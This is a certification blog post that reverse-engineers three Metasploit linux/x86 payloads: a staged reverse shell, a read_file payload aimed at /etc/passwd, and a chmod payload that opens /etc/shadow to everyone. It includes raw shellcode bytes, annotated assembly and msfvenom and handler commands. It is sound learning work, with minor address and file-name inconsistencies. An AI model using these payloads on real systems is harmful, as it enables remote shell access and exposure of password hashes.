List of linux/86 related payloads can be viewed with the following command:

msfvenom -l payloads | grep linux/x86

I chose the following three payload for analysis:

  1. linux/x86/shell/reverse_tcp (two staged)
  2. linux/x86/read_file
  3. linux/x86/chmod

 


 

1. linux/x86/shell/reverse_tcp

I decided to analyze the two staged reverse shell. I was always curious how it works. The linux/x86/shell_reverse_tcp is the one-staged version and linux/x86/shell/reverse_tcp is the two staged version. Two staged version means that the first payload creates a channel back to the attacker machine and downloads and executes the second stage payload. This is useful if the available space for the shellcode is small. The second stage payload can be much bigger than the first one and can use the already created channel to communicate with the attacker’s machine.

I started the Metasploit and executed the following commands:

use linux/x86/shell/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
generate

The result:

msfpayload_1

I used ndisasm to disassemble the two stages.

echo -ne “\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80\x97\x5b\x68\xc0
\xa8\x02\x82\x68\x02\x00\x11\x5c\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80
\xb2\x07\xb9\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b\x89
\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1″ | ndisasm -u –

echo -ne “\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x6a\x0b\x58\x99\x52\x68
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80″ | ndisasm -u –

I converted them to asm files and added comments to make it more understandable.

global _start

section .text

_start:

	; Create socket:

	xor ebx,ebx		    ; ebx = 0 (socket)
	mul ebx			    ; eax = 0, edx = 0
	push ebx
	inc ebx
	push ebx
	push byte +0x2		; on the stack: (2, 1, 0)
	mov al,0x66		    ; socketcall = 102
	mov ecx,esp		    ; ecx = pointer of (2, 1, 0)
	int 0x80

	; Save the created socket to edi:

	xchg eax,edi

	; Connect to the given HOST and PORT:

	pop ebx			    ; ebx = 2
	push dword 0x0100007f	; 127.0.0.1
	push dword 0x5c110002	; 0x5c11 = port 4444
	mov ecx,esp
	push byte +0x66		; socketcall = 102
	pop eax
	push eax
	push ecx
	push edi		    ; save the socket to the stack
	mov ecx,esp
	inc ebx			    ; ebx = 3 (connect)
	int 0x80

	; Set memory (part of the stack) readable, writable and executable:

	mov dl,0x7		    ; PROT_READ | PROT_WRITE | PROT_EXEC
	mov ecx,0x1000		; size = 4096
	mov ebx,esp
	shr ebx,0xc
	shl ebx,0xc		    ; ebx = esp OR 0xFF000000
	mov al,0x7d		    ; syscall = 125 (mprotect)
	int 0x80

	; Read from socket to the stack:

	pop ebx			    ; restore the socket from the stack
	mov ecx,esp		    ; ecx = buffer (stack)
	cdq
	mov dh,0xc		    ; dx = 0xc0 = 192
	mov al,0x3		    ; syscall = 3 (read)
	int 0x80
	jmp ecx			    ; start to execute of the read bytes

The beginning of the first stage is similar to the beginning of the reverse shell: it creates a socket and connects back to the remote machine. From this point the execution is different. It makes the stack readable, writable and executable. Finally it reads data from the socket and saves it to the stack and executes it. The last JMP instruction start to execute the downloaded code.

global _start

section .text

_start:

	; Dup2 (STDIN, STDOUT, STDERR)

	mov ebx,edi		    ; ebx = socket
	push byte +0x2
	pop ebx

label1:

	push byte +0x3f	    ; syscall = 63
	pop eax
	int 0x80
	dec ecx
	jns label1

	; Execve '/bin//sh':

	push byte +0xb      ; syscall = 11
	pop eax
	cdq
	push edx		    ; NULL
	push dword 0x68732f2f	; //sh
	push dword 0x6e69622f	; /bin
	mov ebx,esp
	push edx
	push ebx
	mov ecx,esp
	int 0x80

The second stage is similar to the end of the reverse shell: the three dup2 method calls for STDIN/STDOUT/STDERR and the socket, and the execve of ‘/bin/sh’.

Three interesting things should be noticed:

  • The first payload saves the second payload onto the stack.
  • The second payload uses the socket which was created by the first payload.
  • The shellcode contains null characters.

I checked it in the gdb. I created the executable payload first.

msfvenom -a x86 -f elf -p linux/x86/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 > shell_reverse
chmod 777 shell_reverse

Then I started the Metasploit console and set a multi handler.

use exploit/multi/handler
set PAYLOAD linux/x86/shell/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit

Finally I started the gdb.

gdb -q ./shell_reverse -tui

I had to find the entry point of the executable.

msf_shell_reverse_1

Then I set the breakpoint in the gdb.

break *0x08048054

This is the point when the second payload is downloaded and resides on the stack. In the Metasploit console we can see that the second payload is downloaded. The ECX and ESP have the same value.

msf_shell_reverse_2

 

In more readable format:

msf_shell_reverse_4

The next instruction is the JMP ECX. At this point the second payload is being executed.

msf_shell_reverse_3

 


2. linux/x86/read_file

I generated the payload with msfvenom.

msfvenom -a x86 -p linux/x86/read_file PATH=/etc/passwd > read_file

Then I used ndisasm to disassemble it.

ndisasm -u read_file

00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7061              jo 0xa5
00000044  7373              jnc 0xb9
00000046  7764              ja 0xac
00000048  00                db 0x00

The instructions after the call intruction in the 19. line does not make sense. This is a JMP-CALL-POP technique and these instructions are actually the string constant. I examined it with hexdump.

hexdump -C read_file

00000000  eb 36 b8 05 00 00 00 5b  31 c9 cd 80 89 c3 b8 03  |.6.....[1.......|
00000010  00 00 00 89 e7 89 f9 ba  00 10 00 00 cd 80 89 c2  |................|
00000020  b8 04 00 00 00 bb 01 00  00 00 cd 80 b8 01 00 00  |................|
00000030  00 bb 00 00 00 00 cd 80  e8 c5 ff ff ff 2f 65 74  |............./et|
00000040  63 2f 70 61 73 73 77 64  00                       |c/passwd.|
00000049

It can be seen, that the ‘/etc/passwd’ string resides at the end of the shellcode. It starts from the 0x38 (56.) byte.

I updated the output of the ndisasm and added some comment. JMP and CALL instructions have a number instead off label. This can be fixed easily. The number should be replaced with a label and the label should be placed before the line where the number is the same in the first column.

00000000  EB36              jmp short find_address

                        shellcode:
                            ; syscall = 5 (open)
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx      ; ebx = pointer to path
00000008  31C9              xor ecx,ecx  ; ecx = 0 (flags)
0000000A  CD80              int 0x80

                            ; syscall = 3 (read)
0000000C  89C3              mov ebx,eax  ; ebx = file descriptor
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi  ; ecx = pointer to esp (buffer)
00000017  BA00100000        mov edx,0x1000  ; edx = 4096 (buffer size)
0000001C  CD80              int 0x80

                            ; syscall = 4 (write)
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1  ; ebx = 1 (STDOUT)
0000002A  CD80              int 0x80

                            ; syscall = 1 (exit)
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80

                        find_address:
00000038  E8C5FFFFFF        call dword shellcode
                            path: db '/etc/passwd'

The read_file shellcode opens the file, reads its content, writes it to the STDOUT and exits.

 


3. linux/x86/chmod

I decided to analyze the shellcode with gdb. The parameters can be viewed with:

msfvenom -p linux/x86/chmod –payload-options

msfpayload2

With the default parameter the shellcode make the /etc/shadow file readable and writable to everyone. I generated the executable.

msfvenom -a x86 -f elf -p linux/x86/chmod > chmod

 

I got the entry point with objdump (0x08048054).

objdump -f chmod

 

I started the gdb and set up the debugging environment.

gdb -q ./chmod -tui

set disassembly-flavor intel
break *0x08048054
run
layout asm
layout regs

msfpayload7

I started to step through the instructions with stepi gdb command. The first three instructions initialize the EAX = 15 and EDX = 0. The fourth instrument pushes zero onto the stack.

The instructions which resides after the CALL instruction at 0x8048059 seems to be confusing.

msfpayload5

I checked the memory and it looked like an ASCII string. I checked it again and it turned out to be the ‘/etc/passwd’ string.

msfpayload6

This is a JMP-CALL-POP technique to get the pointer to the ‘/etc/passwd’ string, however the JMP instruction is missing and the string is in the middle of the shellcode. After the CALL instruction, we can see the following:

msfpayload8

The POP EBX instruction causes that the address of the string is stored in the EBX.

There are two syscall here (int 0x80). When we reach the first syscall, the value of the registers are:

EAX = 15
EBX = 0x804805e (pointer to the ‘/etc/passwd’ string)
ECX = 0x1b6 (438)

15 is the chmod syscall, which changes the file permissions. We can check the parameters with:

man 2 chmod

The first parameter is the address to the file path. The second parameter is the mode. (0x1b6 = 110110110 = read and write by owner and group and others).

The second syscall is the exit. The exit code is the result of the previous chmod function call.

 

The /etc/shadow file before the execution of the shellcode:

msfpayload3

After the execution:

msfpayload4

 

*  *  *  *  *

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-691